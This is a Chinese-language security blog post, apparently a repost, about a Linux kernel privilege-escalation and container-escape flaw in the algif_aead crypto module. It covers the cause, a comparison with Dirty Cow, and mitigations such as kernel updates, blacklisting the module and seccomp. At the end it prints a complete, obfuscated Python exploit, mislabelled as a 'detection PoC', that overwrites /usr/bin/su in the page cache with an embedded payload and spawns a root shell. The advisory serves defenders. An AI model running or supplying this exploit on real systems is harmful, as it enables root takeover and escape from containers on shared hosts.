文章总结: 文档披露Linux内核CVE-2026-31431漏洞,潜伏9年,利用732字节Python脚本可100%提权并容器逃逸。漏洞源于algif_aead模块优化缺陷导致越界写入,影响2017年后主流发行版。建议立即升级内核或禁用模块,容器环境启用seccomp加固。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,解决方案,云安全,容器安全
732 字节通杀 Linux内核 近 9 年!100% 稳定获取 root 权限。附Poc。
原创
67626d 67626d
暗影安全
2026年4月30日 11:22 北京
在小说阅读器读本章
去阅读
2026 年 4 月 30 日,Linux 内核曝出史诗级本地提权 + 容器逃逸漏洞 Copy Fail(CVE-2026-31431),仅凭一段 732 字节 Python 脚本,就能在 2017 年至今的几乎所有主流 Linux 发行版上100% 稳定获取 root 权限,还能实现跨容器逃逸,堪称近年少有的高危内核缺陷。
一、漏洞核心:潜伏 9 年的直线逻辑错误
Copy Fail 并非依赖竞态条件的传统漏洞,而是无竞争、无偏移、单次执行必成的直线逻辑缺陷,根源藏在内核加密子系统:
-
2017 年,内核为 algif_aead 模块引入原地优化,让 AF_ALG 套接字处理 AEAD 解密时,将页缓存(page cache)页面直接放入可写分散 / 聚集列表。
-
攻击者通过splice()零拷贝,把任意可读文件(如/usr/bin/su)的页缓存页面传入 AF_ALG 套接字。
-
解密函数crypto_authenc_esn_decrypt()越界写入 4 字节序列码,不恢复原始数据,精准篡改页缓存内容,完成提权与逃逸。
整个过程不碰磁盘、无文件事件、无脏页标记,重启或清空缓存即恢复,隐蔽性拉满。
二、恐怖破坏力:通杀全场景,容器成重灾区
1. 极致便携与成功率
-
同一 Python 脚本(仅依赖标准库),无需编译、无需适配,Ubuntu、Amazon Linux、RHEL、SUSE 全通杀。
-
成功率100%,单次执行直接拿到 root shell,远超传统 LPE 漏洞 30%-80% 的成功率。
2. 致命容器逃逸能力
页缓存是主机全局共享,普通容器 Pod 可直接篡改宿主机页缓存,突破容器边界接管整个节点,对 K8s、Docker 集群威胁致命。
3. 高危覆盖场景
-
多租户主机、共享跳板机
-
Kubernetes / 容器集群(节点逃逸 + 跨租户攻击)
-
自托管 CI/CD(GitHub Actions、Jenkins 等)
-
云 SaaS 代码沙箱(Notebook、Serverless)
-
个人桌面风险较低,但仍建议修复。
三、与经典漏洞对比:比 Dirty Cow 更致命
| | | | | — | — | — | | 特性 | 传统 Linux LPE | Copy Fail | | 依赖竞态 | 是 | 否 | | 需要内存偏移 | 是 | 否 | | 利用成功率 | 30%-80% | 100% 单次必成 | | 影响周期 | 窄 | 2017-2026(近 9 年) | | 容器逃逸 | 极少 | 完美支持 | | 隐蔽性 | 一般 | 极高(仅内存修改) |
四、紧急修复:3 步快速封堵,零业务影响
1. 终极方案:升级内核(首选)
更新至包含主线提交 a664bf3d603d的内核版本,回滚 2017 年原地优化,彻底阻断漏洞利用路径,主流发行版已推送补丁。
2. 临时缓解:禁用 algif_aead 模块(补丁未到前)
执行命令禁用模块,对绝大多数系统无副作用,不影响 dm-crypt、kTLS、IPsec、SSH 等常用服务:
# 临时禁用modprobe -r algif_aead# 永久禁用echo "blacklist algif_aead" >> /etc/modprobe.d/disable-algif-aead.conf
3. 容器加固:seccomp 策略拦截
在容器、CI 环境中,通过 seccomp 直接阻断AF_ALG 套接字创建,双重防护容器逃逸风险。
五、安全启示:小优化酿大灾,内核安全无小事
Copy Fail 再次印证:内核一行代码的边界检查缺失,可能埋下近 10 年的定时炸弹。页缓存的共享设计在多租户、云原生时代已成双刃剑,微小缺陷会被无限放大。
行动建议
-
立即核查服务器内核版本与 algif_aead 模块状态
-
优先为生产、多租户、K8s 集群打补丁
-
容器环境同步启用 seccomp 加固
-
关注发行版官方补丁推送,及时完成升级
漏洞 PoC 已公开,黑产利用在即,越早修复越安全。
检测Poc:
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:暗影安全 67626d 67626d《732 字节通杀 Linux内核 近 9 年!100% 稳定获取 root 权限。附Poc。》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论